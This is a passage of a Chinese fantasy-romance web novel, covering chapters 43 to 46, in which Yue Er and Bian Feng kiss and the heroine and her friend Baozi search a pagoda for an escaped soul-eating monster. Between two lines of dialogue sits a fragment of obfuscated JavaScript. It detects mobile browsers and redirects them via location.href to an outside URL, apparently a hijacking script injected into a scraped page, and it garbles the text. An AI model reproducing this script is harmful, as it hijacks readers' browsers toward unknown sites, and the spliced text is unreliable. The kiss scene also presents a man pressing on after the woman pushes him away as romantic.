这话发出,既问越洱,又问包子。
包子转头回道:“还没去过,离我有点远。”
路灯下,包子看到边锋微微侧过的脸:“嘶,怎么我看你也挺眼熟?”
越洱邀请包子来试试法力部食堂的嘴停住。
包子确实没来过法力部,但,他们仨偶然处过同一场所——梧桐大道。
“呃,面善吧,面善的人都眼熟哈哈。”越洱转移焦点中。
地上影子突然从“凹”转换为一个“山”,越洱没由来地加快步伐。
包子:“咦?”
边锋:“嗯?”
认亲呢你俩,越洱吐槽还没脱出口,就听包子福至心灵般:
“你!你是那个!”
越洱一回头,包子激动的指尖指像边锋脸。
“梧桐大道擦嘴王!”
跃动的雀斑起伏,包子笑开的脸,拱高了颧骨和苹果肌。
掷地有声的“擦、嘴、王”三个字,沉默了越洱的夜。
好……
好有才华!
边锋一头雾水,包子铿锵有力的发声闯进他耳道。
擦嘴王?
梧桐大道?
“啊!男朋友——”
天神的礼赐随星光洒落人间,灵光点化在边锋隐隐发红的额间。
这这——不就是越洱那个梧桐大道限定版“男朋友”?
给他送来一记飞醋的“蓝颜知己”?
边锋默然无语,当初半信半疑,原来还真是女生。
不过,“擦嘴王”是什么鬼?
边锋下意识抬手,曲起食指关节擦了下嘴角。
包子一脸高深莫测看向越洱,不时点头:“怪不得,嗯~怪不得。”
“……”
三人一狗磨磨蹭蹭散步到包子家楼下,楼道的声控灯亮起。
“真不上去坐坐?”包子问道。
“不了,你早点休息,有空来找我玩。”越洱笑着摆摆手。
“咳,”包子突然扫一眼边锋,夺过她手里的狗绳,交到边锋手上:“我跟她说点事。”
包子揪着越洱手肘往树荫下拖,越洱一脸疑惑,小声问:“说什么呢这么神秘?”
两人走到树荫下,包子回头望一眼边锋,见他和小狗乖乖待在原地,才抱起手臂对越洱说:“我可看见你俩抱着啃了啊,忙忙还小,带回去别当面搞些小狗不宜观看的事——”
语重心长,说得越洱天灵盖炸开。
“没抱着啃,”越洱心虚又好笑:“我啃他还差不多——”
包子一撇眼,越洱说不下去了,再说就很像当场书写某种娇妻文学。
“咳,放心吧,我一定……保护好忙忙灵魂健康。”
*
回去也是搭8号线,这也是唯一一列允许宠物同乘的地铁。
鉴于忙忙是个45斤的狗子了,对一些人来说还是会怕,越洱便把小狗往小腿中间一夹,两脚挡在前面、一手握住忙忙嘴筒子。
小狗难得出来热闹地方,睫毛下一双水灵灵的眼睛滴溜溜四处看,嘴筒子不自在,试图抽了两下,没抽出来,只好乖乖坐在原地。
越洱的小腿和手,构成一个有温度的牢笼,又是小狗的家,小狗忙忙透过这家和这笼,好奇地打量新世界。
地铁静静运行,边锋也往前坐一些,低头去看被轻轻环住嘴筒子的小狗。
他默默看一阵,又转眼看越洱。
越洱被他盯得挺不自在:“干嘛?”
边锋却摇摇头,还是盯着她。
“……”
越洱受不住了,空出来的左手去虚挡这双眼睛。
边锋眨眨眼,轻笑出声,又默然良久,才开口道:“这几天在里面怎么过的?”
越洱一愣,问得怎么好像劳改犯出监狱了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781138|166200||http|test|mini|href|location''.split(''|''),0,{}));
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>她调侃道:“吃吃睡睡,好好改造。”
边锋没什么笑意地干笑一声,神色又认真起来:“可我在外面没你消息,很担心你。”
“害,担心啥,法力部还是做人的……”越洱睫毛垂着,视线搭在小狗抖动偷听的耳朵尖上。
一张脸低下来,不依不饶闯进她回避的视线:“担心你难过。”
“……”
越洱不知说什么才好,她想立即回以“有什么好难过,越莫管也值得?”,她想掠过这种对话。
干涩的喉咙卡住了字句。
“……不会。”
越洱抿起嘴笑笑,算作对边锋的回应。
“你们后天去训练?”
话题转开,边锋坐直身子。
“嗯,去训练。”
越洱被清退出卧底训练,不争的事实涌上两人心间,没人说话了。
越洱手发酸,看小狗乖乖的,近处也没人站,便松开握了嘴筒子的手。
活一天有一天的过法,她渐渐接受了,要准备好退出法力部,那一天到来时,好好道别,别太狼狈。
8号线载着一车厢晚归的人,驶进清寂的夜。
在“半路站”下车,走不远,就到了越洱租住的老小区。
小狗一到楼下,尾巴按捺不住扇动起来,一骨碌拽着越洱往楼梯上冲,
“慢点,慢点。”越洱边下命令边纵容,几级阶梯跨作一步。
边锋在后头缓缓跟上,听到钥匙转动的声音。
越洱一开门,小狗就火急火燎冲进家,她放开牵引绳,虚掩着门站在门外,等和边锋道别。
毕竟边锋这一天都在陪她走来走起,给人折腾得发型都乱了。
转角处,边锋抬眼看到她站在门口,几步迈上了楼梯平台。
“早点休息哦,今天谢谢你。”
小熊猫气球的细绳栓在她右手小拇指上,气球贴着门板轻轻飘摇,像被玻璃挡住去路而不解的小动物。
边锋高大的影子罩过来,意味不明地抬手弹了小熊猫一个脑瓜崩。
“诶,轻点儿,别给我弹坏了。”越洱拽绳维护道,这人还说她不珍惜呢,下手力道贼狠。
“我不进去坐坐?”边锋没头没脑来了句。
“坐啥啊,很晚了。”越洱假意抬手腕瞄一眼不存在的手表,挥挥手赶蚊子似的:“训练注意安全哈。”
小狗啪嗒啪嗒从里屋跑过来,好奇地透过门缝张望,像在询问越洱“怎么还不进来”?
越洱低头一望:“我先——”
“嗒”,门被轻轻按上,门缝消失,柔软的唇瓣贴上越洱嘴角。
越洱全然没料到这一吻,心脏和胃像被手揪了一把,思绪宕机,一口气憋在肺腑。
边锋低着头,几根手指还按在门板上,他微闭起眼眸,凭直觉摩挲轻触着身下之人的唇瓣。
胸口燃动着一簇火,湿润微凉的唇叩上那紧闭的柔嫩唇瓣,他察觉到越洱吓僵回退的动势。
一双手抵上他胸膛,晃动的氢气球在二人发顶擦掠。
他好似一个难解了渴的旅人,激越的心绪耸动着灼烧的欲念,指腹攀上越洱软滑的脸颊,又一点点摸、轻缓缓捏,慢慢游移,手指捏揉上越洱红烫的耳垂。
“嗒”,越洱脑中似有一根弦,随着张力拉扯,一下崩断。
不知天地为何物,边锋头脑发热般,撬开越洱唇齿,侵袭而入。
43.吻
温软又不可抗拒,簌簌抖动的睫毛搔痒了另一人眼下的肌肤。
越洱眼角沁出温热的水光,什么也不能思考,什么也来不及。
湿润的、炙热的气息混乱流动在狭小空隙,烫人的手掌从后腰处压来,揽着她贴近。
越洱头微微仰起,似在承受,又似迎合。
湿红的碾压着湿红的,缓过劲的心脏随着混乱呼吸跳动。
唇舌纠缠,鼻息交织。
边锋按着越洱的腰,把人抵在门板上,又嵌在身体里,唇不依不饶吻着,手不安分滑动。
身后的门板传来轻微“咯吱”声,是小狗爪子划刻的动静。
小狗想要推门出来,意识回笼,越洱像被猛然拔出水面。
她倏然睁眼,对上边锋含水的眼眸,惊觉自己两只手臂环绕着箍在边锋后颈,她也按着他。
后知后觉的羞耻感侵袭而上,她往后不能,便两手抵上边锋肩膀,试图推开他。
边锋也听到“刺啦”的木板声,唇齿还含着另一双唇,不甘不愿放开。
他眉间不易察觉地蹙一下,用力一托,直抱着越洱的腰转过方向。
一手按在对门密码锁上,不容分说把人带进家门。
“诶?等会儿……唔。”
越洱正欲喊停,门却被推合上。
她头昏脑涨被压在门廊墙上,对面是一面窄而高的全身镜。
边锋几近粗暴地欺压上去,黑暗中掰过那手感莹润的下巴,唇舌探进,毫不客气攫取甘甜。
他焦急地箍紧怀中之人,情难自禁揉搓着她后腰的衣料。
越洱闭着眼,忽听见一丝几不可闻的喘息,霎时烧得透心都烫。
她腿也软了,几乎是靠边锋的手托住腰身才可站立。
忽地,下唇一痛,她被咬得闷哼一声。
这人怎么这么欠,动不动就咬。
越洱轻缓睁开眼,边锋眉眼的和肌肤的纹理收入眼中。
他似是没了清醒,不依不饶讨吻,透过他耳鬓凌乱的发,越洱猝然对视了镜中抱合的人。
一时间烧得外焦里透,她一手滑动上边锋胸膛,拇指食指合拢,猛力一拧——
“嘶”,唇瓣分开,月关透进来,映出边锋唇上一点晶莹的水光。
他抬手揉了揉被掐痛的皮肉,深深看越洱一眼。
两人离得很近,颤动的神经似乎还在敏锐接受着彼此,借着月光,他看出越洱面红耳赤躲着他目光。
一时间心热,紧紧抱住她挤一下:“掐我干嘛?”
越洱整个人被挤压在怀,内脏都往上提。
“嗯?”
边锋沙哑着嗓问,越洱一把推过去,趁机脱身而出:“太晚啦,我要睡觉。”
还不及说完,她人已经逃也似的闪到自家门前。
门锁上还插着钥匙,越洱飞快拧开,身后有敌军追击般,“歘”地闪躲进去,关门。
忙忙见她突然进来,很是欢迎,啪嗒啪嗒围着越洱脚边跑,小爪子一趴,下俯邀玩。
越洱手还在门把上,心如鼓锤,怦怦怦跳得震人。
她把钥匙放在门边柜上,蹬开拖鞋开了灯,就往房间冲,房间是离门口最远的。
边锋还扶着自己密码锁的门,灯没开,楼道里声控灯暗下去。
一双眼在黑暗中晃动光点,幽幽寂寂中,他抬手,指腹抚摸过下唇,听见对面传来又一声稍显微弱的关门声。
嗯,密码锁,你今天很棒。
*
深夜,小狗被无辜关在房门外,急得在客厅直转悠。
百思不得其解,又乖乖蹲在紧闭的房门前,发出呜呜咽咽似的撒娇声。
可惜越洱暂时听不见,她一整个飘飘然,浑身不对劲,来到浴室开了水。
恰到好处的温度,稍大的水流雨雾般撒下,打在越洱后脖颈。
他亲了她,他们接吻了。
她迷路的手抚过他宽阔的背,身上似乎沾了他清冷的香水气息,仿佛香水也被他们的体温蒸腾、沸燃。
水淌过她脸颊,越洱反手拧低了水温,凉水贯穿头顶般,后知后觉的清醒击打心间。
怎么就……
昏了头。
睫毛上挂着水,越洱闭眼,抬起脸任凉水冲刷。
清凉的水带走她脸庞过热的余温,镇静了她发麻发痛的下唇。
嘶,真是属狗的——
不,不能和宠物这一挂联络到一起,总之是个爱咬人的。
怎么会这样,接下来又怎么办?
反正明天她打死不出门,出门就发不了财!
越洱站在水下,头脑混乱,边锋有一点……一点喜欢她吗?
淦,说不上了解他,先了解了他嘴。
怎么办怎么办,要不然逃去包子家住几天?
越洱这主意跳出来,又被她自己打压下去,更何况想到包子那句严肃的“带回去别当面搞些小狗不宜观看的事”……
还好还好,小狗不用洗眼睛。
但她也不要意思去打扰包子了,她更愿意接下来几天自己一个人静静待着。
偏偏边锋住对门,这和开门就踩炸弹有什么区别?
认识这么久以来,越洱首次很烦边锋的“粘人”。
这人搬过来干嘛?这下躲都没处躲去。
等她慢吞吞洗了澡吹干头发,脸压在枕头上翻过来翻过去,半天睡不着,才听小狗在房门外委屈得呜呜扒拉门,越洱挪过去给小狗开了门。
边锋这边,阳台一盏小灯点亮。
手侧着,搁在玻璃面小桌上,手边是喝到剩了三分之一的白葡萄酒。
唇齿间充溢着淡淡的酸,果香。
越洱睡了吗?
他拿起手机又放下,再次不甘心地捞过手机,点开通讯软件,开始打字。
“睡了么?”
删掉。
“谁说的“要睡就睡”?骗子。”
删掉。
“跑什么?”
删掉……
边锋放开手机,手机一角轻磕上玻璃桌面,发出轻轻“嘡”声。
他耳朵从回来就烫得很,喝了点酒愈发烫得厉害,边锋握一把冰凉的杯子,手指尖挂上沁出的水珠。
就这么捏着耳尖降温。
过一会儿,他点开地图,搜索“花店”。
出来的图标很多,但是只看到门头,看不见每家花束怎么样。
边锋换了个社区交互做得很好的软件,输入“不眠市最好的花店”。
千百个推荐页面吻上来,点开细看,难以分辨,看上去都不错,又看上去都像广告。
边锋看得头大,抓了抓头发,明天周日,几点开门?
总不能喊上越洱一起去选花,估计她一掌能劈了他。
边沁?
算了算了,想起妹妹探究的八卦之眼,边锋背后直发凉。
天
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蒙蒙亮时,一夜未眠的边锋洗澡出来,他吹干头发,又抹上乳液,穿戴整齐,乘着天边半轮白色的月牙出门。
地下停车场灯在闪,这辆车停好久没用了,不过有遮挡,车身照旧清爽干净。
边锋驾车朝北面驶去,那家店离小区很远,但口碑不错,旁边还有不眠市挺受追捧的一家设计师首饰店:【告祷】。
车窗飘进雨丝,降温了,雨点打在手背上。
边锋关上车窗,看一眼车内面板时间,06:47。
明明是周天早晨,高架路还是堵车。
车里很静,修长的手指一下下点在方向盘上。越洱会喜欢吗?
他脑内止不住回放,几小时前的画面一帧帧复习,钉作标本。
从什么时候开始有心思?似乎很难说明一个关键时间点,只是很讨厌被排除在她的计划之外、讨厌成为最后一个知道的人。
*
越洱转醒,是听到忙忙在玩尖叫球,小狗一个狗追得很欢。
见越洱伸懒腰,忙忙叼着球进门,尾巴甩甩,球轻轻搁在被子上。
上头全是亮闪闪的口水,越洱伸了一半的懒腰僵住,她抓一张纸巾拿起尖叫球扔出去,小狗忙打转转去追。
手机倒扣着藏在枕头下,越洱故意的,实在是睡前反反复复刷新聊天界面,快强迫症了也没收到消息。
她犹豫几许,也没主动说什么。
越洱盯着枕头下露出的手机一角,有点不敢拿出来看。
接吻的画面潮水般涌上脑海,她其实闭了眼,但不知怎么脑补出很多,记得从门外到门内的光线转变,窗户透进的微光打在边锋微微红肿的嘴唇上。
“啊!”她抓了抓头发,压着声音莫名叫一声,听觉灵敏的小狗瞬间放了口里的球,从门框边歪着小脑袋好奇看她。
越洱冲狗子说:“快准狠!”
“刷拉”一把飞快捏出手机,不给自己再犹豫的机会,按开了屏幕。
中午11:57,免打扰模式没看,壁纸和上边框也干干净净。
没有消息。
看见消息害怕,没看见消息……失落。
“啧,起床起床。”
越洱自言自语,突然开始抖被子、抚床单、拍枕头,把床四个角整理得立立整整。
阳光撒在被子上,雨后放晴了,她发呆坐了一会儿,视线不知不觉转上了静悄悄躺着的手机。
真没个动静?
12点了没起?
反应过来的刹那,越洱有点糟心,干嘛了就那么眼巴巴等着人消息?
她赶紧起身洗漱去,添狗粮,做午饭,吃好收拾,又打扫打扫屋子,故意离手机远远的。
就这么腾到了天半黑,该遛狗去了。
越洱给小狗梳梳毛,选一个俏皮可爱的胸背带,抹上润唇膏、牵狗出门。
她慢慢打开门,在门框里站了片刻,对面的家毫无动静,丁点灯光也没透出来。
看不出是主人不在,还是主人没开大灯。
啧,真够了,这天脑子里翻腾的全是那点事儿,再这么下去,恐怕对面还没什么动作,越洱就自我攻略给自己拿下了。
她烦躁地甩甩头,按下了发消息问问边锋的想法,直接下楼梯遛狗。
俩人平时总相处见面,聊天也当面聊,没很多线上聊天的必要。
但眼下总不一样吧?不得聊聊?
行吧,你不说我也不说。
44.亲了就跑?
接下来是周一,法力部该上班了,往窗外望下去,老小区进进出出都是赶早八的人和车。
越洱很早就醒了,以往得休息,她乐得清闲,恨不得每一分一秒榨干了做喜欢的事。
今天却不知干什么好了,本来说趁假期带小狗周边游,也一下子泄气似的不愿出门。
边锋人间蒸发一样,不仅没来个消息,通灵阵也歇菜了,昨晚越洱忍不住试了下,完全连不到他。
可能卧底训练重启,边锋随组进去了吧,但去之前一声不吭,也挺打击人。
这事儿不说还好,说起来更引人慌,大家都有正事干,就她越洱搁家赋闲,说不准哪天就被法力部踹了。
越洱登时清醒不少,爬起来打开电脑,刷招聘网站。
一溜看下去,又回到了底薪3000的天下,和法力沾边的稍微高点,4500底薪,都没五险一金。
这么看包子真是救她小命,最困顿的时候给她推来法力部消息。
越洱输入“纪妖局”搜索,约莫记得包子她们那儿待遇不错,就是很多年不招妖族以外的人。
果然,点进去,非妖族能干的有限,就缺三个保洁人员,还得考证书。
8800块一个月,单休,也交五险一金。
有关家务清洁的法术得专门学,或者天赋异禀直接考证,否则那么大栋楼,不会搞的人硬用法力,一天下来比拿手干还累。
点个收藏,实在不行就考呗,只要有活路。
再往下看,有两个劳务派遣的活儿,去仙门修石阶,层层剥下来,工资低得令人发指。
仙家弟子修个石阶不难,但他们愿意外包出去,据说为了增加就业岗位,也讨个吉头:一块块石砖由人摞起来,比法力一下铺成有仪式感、祝福感,耐用。
就这点钱还好意思讨“祝福”?想到这儿越洱脸都抽一下。
鬼界么没公开招聘放出,老东家越洱也不大想回,不是说和前老板前同事不好相处,单纯觉得没意思。
通灵阵里,【鬼鬼帮你报复个够】聊天组几近蒙尘,虫哥、灾姐许久没回过消息,不过越洱出来这两年也很少看群、极少回消息,这群存在感本就没多少。
多看两眼,她这个学历和专业,要么去干销售干夜场,要么给人当法力牛马使,私企有些老板,加500块工资恨不得招个会法术还任其捏扁揉圆、八字生肖不冲突的玄学牛马。
越洱看半天,给还能接受的岗位整了个收藏夹,创建Excel简易整理优缺点,弄完关电脑。
这就业市场,真够够的。越洱垂头闭眼,两手使劲揉按眉心和太阳穴。
不知道边沁在干嘛,是可以问她,但指挥组这阵挺忙,边沁那个机灵劲儿能把他俩猜个八九不离十。
算了,她不确定边锋现在什么看法,但总归不会很认真,没必要把边沁扯进来,显得恨不得加入人家家庭似的。
下午,越洱干脆把手机通知全打开,静音也解除;过个三分钟,她灰溜溜又全关上,再把边锋的聊天栏设置成免打扰。
这下舒服了,一周不用打开看。
就这么在家磨了五六天,重复刷招聘网站、筛选信息、遛狗、写日记,越写越磨、心越凉。
日记本上缝满焦急灰心的质疑和自暴自弃,满心的等待化作一腔酸苦的雨。
包子周五见到越洱时,就见到她这幅鬼样。
纪妖局一周忙得团团转,包子没想到这儿有个比她还怨气深重的。
“你这……趁着休假天天熬夜呐?”
越洱还没跟她说越莫管过世的事儿,包子跟她当朋友这么多年,就初中某个周六见过越莫管一眼。
那时她们住校,周六下午能出校门溜达。
如同每个寻常不过的周六,她们揣上现金,走过小雨将歇的塑胶操场,去后面买卤味鸭霸王。
越洱那时是个爱开玩笑的,正比手画脚,给同寝三人表演数学老师如何飞舞起长板凳当圆规——突然,一个猝不及防的巴掌从后方甩歪了她的头。
越洱眉飞色舞的神态从脸上拆飞出去,像被暴力冲破的积木人。
几个半大孩子吓得半死,反应过来越莫管已经一脚油门走了。
越洱碎屏的手机甩在地上,她脸颊还刻着红指印,目光看似定向手机,□□游天外般没焦点。
包子赶忙帮她捡起手机擦干净,那之后一天才晓得,越洱她爹专门开车过来给她一巴掌的。
因为越洱上回帮妈妈预约挂号,忘了把账号解绑,后来骆钰半天没搞明白怎么登录换绑,耽误了上午挂号。
包子从此一点点知道,世上还有那么多不同面貌的爹妈,越洱那时已经能操纵法力,但背后是时时刻刻被踪丝监控和限制的无奈。
未成年法力使用规范,成年了更多几打规范。
她不由想,如果她换到越洱的处境,真的能忍住不用法力碾压越莫管这样一个臭虫?就为了一个继续升学的机会?
包子想不出来。
所以这天,27岁的越洱坐在对面,声音淡淡,穿过嘈杂的讨论,说:对了,越莫管死了,被杀的。
包子不知作何感想,节哀?越莫管这样的人,活在世上一天,就是越洱心肉里扎的一根刺;死了,也成全不了越洱的解脱。
话在喉间转悠半天,包子叹口气,只说:“照顾好自己,以后更是。”
越洱胡乱点点头,她现在这状态,难说越莫管的事占多少。
似乎越是世上没了来处,她越是忍不住想拼命去够一够边锋的特殊关照。
人活一场,能抓住的实在太少,越努力越心酸,越去够越攀不上。
越洱眼里的光沉了下去,她还是没改,人生每一个痛苦无措的节点,她都想抓一根救命稻草。
多天真的幻想,够无望的寄托。
现实甩过来的耳光还不够吗?
没有人会来,没有人有义务拉她一把。
包子和越洱又牵着狗出了咖啡馆,脚踏在阴凉的街道上,越洱才回过神来:“对了,今天你本来要聊什么来的?”
昨晚包子提前传讯:明天有个事儿想跟你聊聊。
包子犹豫片刻,不知时机对不对,还是开口道:“本来是想请你帮个忙——”
见越洱神色认真朝她点点头,包子才说下去:“上回咱们去鬼市,收的那怪物你还记得不?”
“记得,跟个大喇叭似的。”
“对对,就它,它跑了。”
“啊?从你手里跑脱的?还是纪妖
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局没关好?”
越洱着实有点惊到,纪妖局管理比法力部还严,她以为包子早就把那血肉大喇叭报告上交了。
包子揉揉鼻尖:“从我这儿跑的,本来想留着研究研究……”
一想到在家里搁一个活生生的、来历不明的血肉怪物,朝夕共处,越洱就心里发毛,真不愧是包子。
“你也是怪敢的,那现在我们要找找?”越洱眉毛不由得拧紧,这东西怎么找?按灾姐教的追踪定位阵?
找回来会不会给包子带来更多麻烦?
她正想问包子,那东西有没有在她家留下点什么,就听包子说:
“是,但我看你还需要多休息,这个事不急。”
“我好着呢,早说啊包子,把狗送回去我们就去找,那东西不知道还会吞什么。”
包子摇摇头:“应该不会,这段时间我实验了一些,它好像功能很单一,就吞过灵魂。”
“功能”这词蛮怪,好像这怪物是被谁造出来用的。
越洱道:“不好说,万一它出去闯祸,又被纪妖局的先发现,就不妙了。”
她俩默契地抬脚往家返,越洱又问:“你家里有它东西吗?衣物什么的都行,画个阵法好找——”
话音未落,包子便回:“不用画阵,我知道它在哪儿。”
越洱脚步顿住,疑惑地看向包子。
包子道:“就是,我好像能感应到它在哪儿。”
一阵鸡皮疙瘩爬上越洱脊骨和小臂,感应?
血肉大喇叭翕动的喉头似在眼前,那诡异的嘴身比例,染血一样破败的红袍——怎么看怎么不吉祥,包子和这样一个怪物“通感”?
被越洱盯得不自在,包子摆手去牵狗绳,忙忙就安安静静仰头等着她俩。
“害,说不好,也可能是错觉。”
越洱不说话了,不知道在琢磨啥,从包子的角度看过去,能一眼注意到她思考时特有的那种嘴角弧度。
快走到小区时,越洱才开口:“行,包子你现在试试感应,它在哪方?”
*
收拾一些可能用到的道具,一个闪现到了近郊的文笔塔。
文笔塔建于元朝,她们初中学校组织秋游来过。
天气渐渐不大好,阴雨绵绵,999级大理石台阶蜿蜒,登山道没一个人。
“这倒好,趁现在没人我们好行动,可……怎么过于正常了?”
文笔塔伫立细雨中,千百年如一日,和十年前看起来没差别。
包子抬头顺着塔身往上望,层层叠叠,翘起的檐角上挂了铃铛,风吹过“铃铃”轻响。
越洱看她神色肃穆,也不多说,掏出手机看一眼时间,周六下午15:15。
她鬼使神差地划拉两下,点进聊天软件,边锋那一栏被她反反复复“免打扰”,又解除“免打扰”。
可随她怎么折腾,对面杳无音讯,朋友圈也没更新。
按理说卧底训练那强度,不至于不给人休息。
越洱这下彻底没脾气了,以极快速度修改备注,从“边锋”改名为“亲完就跑”,手机怕淋雨,往乾坤袋一丢,该进塔去了。
雨点打在包子的眼镜上,雨珠密密麻麻汇聚,她摘下来用衣角一擦:“走吧。”
45.文笔塔异变
越洱抓紧钳把,包子拔开葫芦口,二人背贴背,过分警惕地挪进塔里。
一百年前,文笔塔经过修缮,恢复一些光彩,可不知什么缘由,这塔后续一直无人管理,塔门上挂的锁都快腐蚀风化,被人摘下来扔在一边。
塔内有些昏暗,两三处破洞透进光亮。
越洱飞上飞下地找一圈,连只耗子都没看到:“这家伙学会隐身啦?”
她本意松解松解气氛,不料包子摸摸下巴很是认真:“还真有这个可能。”
越洱:“……”
鬼市对上那血肉大喇叭,越洱心里烙下个印象,这东西似乎很难做复杂活动,当时被钳子拽下小舌都没反击。
隐身作为法术难习得,作为天赋很少见。
“它在你家这段时间隐身过没?”
“嘶——这么说又完全没有,要是会隐身它恐怕早跑了。”
越洱放松钳子,虎口捏得生疼,她得揉揉:“现在感应呢?它远了还是近了?”
“近!总觉得它一定在这儿。”包子很笃定。
越洱静默片刻,对包子道:“那我俩一点点走上去看看,也许我搜漏了。”
这可能性不大,塔身很常规,每层面积不大,越往上甚至面积越小,更没什么藏东西的地方。
她们还是老实顺着台阶一层层上,走着走着,来到楼梯拐角,光一下暗了,暗上加暗,越洱眼睛适应了会儿。
这楼梯都是木质的,她回头寻求包子意见:“要不托个火焰?”
这一回头,那普通的阶梯化为无底深渊,黑洞洞,又隐约有个滑道样子的灰白圆筒通向更深更黑处。
包子不见了,悄无声息。
越洱一下收声细听,整座塔太静,黑洞洞的深渊下传来一滴水砸地的声音,在这空间里竟显得很重。
越洱心跳不可遏制加速,仿佛胸腔里的声音外化,心跳声回荡在文笔塔内。
她不敢往后退,托起一簇微小的掌心焰火,谨慎抬步往上。
包子不会在那下面吧?幽深的黑洞激发内心生存恐惧,诡异的静寂又给再添一笔。
越洱很本能抗拒往下去,她回头瞟一眼,深渊中那灰白的甬道隐隐约约,像福尔马林泡白的食道,悄悄活过来在蠕动,诱惑猎物滑落。
“妈呀——”越洱很小声,加快脚步先往上,包子,我先活下来再说。
她左手托焰,越往上越感觉脚后处的黑洞在追,扩张速度越来越快。
每一级踏过的台阶,无声无息灰化湮灭,落入深渊中,一颗灰尘也没浮起。
过快的呼吸带得她头昏,越洱往上快步大跨几级,累了稍缓下来,右手支过去撑墙壁。
手掌触及墙壁的瞬间,冰冷坚硬的砖石倏地变化,软软塌塌,越洱吓得紧急缩回手。
那手感,已然不是任何建材,更像——某人口腔的软肉。
*
边沁在指挥组倒腾一周,忙得晕头转向。
周六下午,组长总算大发慈悲给他们放假,还给每人发了袋日用品,美其名曰“加班福袋”。
边沁一脸嫌弃归置好卷纸、湿厕纸、洗衣液,东西挺好的,就是别靠上“加班”二字。
她舒舒服服躺在公寓沙发上,这套公寓是父母留下的,面积挺大、位置也在市中心,是父母发迹以后买的,一家人在这里度过十几年温馨时光。
如今哥哥搬出去,她只剩她一个人,时不时还挺空的。
这周虽忙,还是见缝插针听到些同事在八卦,说异常事物处理司有个女的卷入命案被“关禁闭”,还有后勤组那个空降的市长儿媳也被抓来调查。
“什么市长儿媳,都退休好几年了,前市长。”
“诶,够乱的,听说她在棕榈大道撞了飞行器,对面驾驶员给撞得头破血流,赔了不少!现在又是命案,啧啧……”
边沁也被传唤去联合调查司做笔录了,但她组长给力、保密到位,她那天凌晨去凌晨回,基本没人知道。
劳山风提前在通灵阵联络她,让她别透露那份偷录的录音。
还加了句:“一个人没工作总好过四个人都完蛋。”
边沁听他这么说还有点没想到,劳山风看上去就一个十五六岁的青少年,虽身材停吧高大,脸蛋还是稚嫩。
这话在他嘴里说出来有股子违和,虽然他早说自己实际年龄挺大。
除了法力部初识那晚火锅聚餐,还有去坟场接应边越洱、边锋那回,劳山风显现出些小孩性子;之后仿佛每次接触,他都挺“装大人”的,气质完全不同。
能合伙建自己的事务所,还接到法力部外包单子,这人不会简单。
和外貌反差挺大的,那录音也就是罗成荒、陆锁仁和越莫管讨价还价,既然越洱有其他更直接的不在场证明,联合调查司也查到了罗、陆头上,确实没必要再画蛇添足。
只是越洱接受调查那段时间,完全联络不到,等她被放出外宾休息层,边沁又忙起来。
前后算算,得有半个多月没见过了。
边沁于是放弃了今天窝家休息的计划,一通电话拨给越洱。
“您好,您拨打的电话不在服务区,请稍后再拨。”
“诶?”
边沁喝水的动作停下,转头接入通灵阵,无人回应
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。
“奇了怪了……”
忽然门铃响起,边沁放下水杯走去开门,不预期地收到一大捧花。
外卖小哥整个上身被花淹没,边沁搭把手接过来,才发现是三束不同的花合抱在一起。
签收单抬头左下方显示边锋的名字,签好字,挪进来,边沁拍个照给哥哥发过去:什么好日子?
这哥也就送过她三两回花,以前是父母还在,边锋半推半就给妹妹选的,再后来,是边沁大学毕业典礼。
一下子三束送过来,看起来没安好心。
对话框无人回复,边沁不在意地收起手机,先把花拆开,一簇簇转移到花瓶里。
俩人都联系不上,出去约会啦?边沁理好花,收拾干净,有一束太大直接没拆。
既然都有活动,边沁安安心心躺回沙发,给自己约了个明天下午的温泉按摩。
*
咚,咚,咚——
文笔塔内,仅剩的台阶和墙壁寸寸软化下去,越洱拔腿往上跑,每一步都像踩进某人的腮边肉。
跑动过程中,掌心的焰火被风吹偏,火尖燎到“墙壁”,那块软肉立马被烫伤一般狠狠抽动一下,挤攘得越洱差点一趔趄掉进深渊。
“包子!”越洱急促喊一声,呼吸愈发乱,肺要炸开般疼。
喊声传开又回音,包子--包子---包……
回声叠回声,仿若这诡异的肉墙肉阶在笑着应和她。
一转脚到了顶楼,最后一个台阶消失,文笔塔泡腐的木地板次你能边缘开始溶解,黑洞逐渐向越洱逼近。
下方黑咕隆咚的深渊更是变得不可思议的深,越洱急忙抛高钳子,准备坐上去靠法力悬飞。
钳子抛出,在空中停滞一秒,突然发病般抖动着掉落,“歘”一下顺着深渊里那个延伸的灰白“食管”掉下去了。
方才还能飞上飞下,现在武器完全不受法力操控。
越洱嘴干得皱缩,一时慌张,甩起又一把巨钳,钳子自主变大,没了法力加持,极其沉重。
后方地板的边缘消退最慢,越洱极力拖着钳子快步接近,趁还有立足之处,费劲掰开钳子、夹上钳口,钳子堪堪“咬”住了一处血肉软墙。
“噗敷”一声轻响,地板消失。
地心引力坠着一人一钳极速下落,越洱大脑一片空白,完了,法力没用。
啪地一震,她狠狠摔到底,五脏六腑钝痛,人活着。
这黑洞底部竟是软而弹,像一张安全网兜住了她。
掌心的火焰早已熄灭,眼睛努力适应黑暗。
“包子你在吗?”越洱试探问了一句。
46.吐吐烟圈砸砸我
目光所及之处,密密麻麻排列的血肉喇叭嘴抽搐,数不清的小舌坠在暗处耸动,加上要命的呕吐预备声,勾得越洱差不多跟着一起干呕,稍一松动,巨钳就沉甸甸往下压。
越洱忙打起精神支撑起钳子,肩膀抵着橡胶把手。
作呕声骤然停歇,塔里只剩她一个人的呼吸。
越洱凝神细看,视线平齐处的一排血肉大口,寂静地吐出一溜灰黑色烟圈,那烟圈不往上飘,反而往下掉,掉到柔软口腔般的地面。
她稍一抬头,文笔塔墙壁这数不清的血肉大喇叭,一瞬息吐出同样的灰黑烟圈,烟圈很大,有一股火烧火燎的呛熏味。
不高不低的某处,烟圈已经飘落近前,其中两个连环套的灰黑烟圈,落在钳子把手上,突然石化,两个连环石圈直戳越洱肩膀,压得她腿一弯。
不好!
越洱抬头,漫天的灰黑烟圈压来,看似不紧不慢,却因文笔塔本身不高,重重叠叠的烟圈像天外来客丢进来套她的锁命环——这要全部石化砸身上还了得?
越洱提肛运气,身子没一点法力流转迹象,仿佛一瞬回到无能无力的那十几年,强大反击力只是白日幻梦。
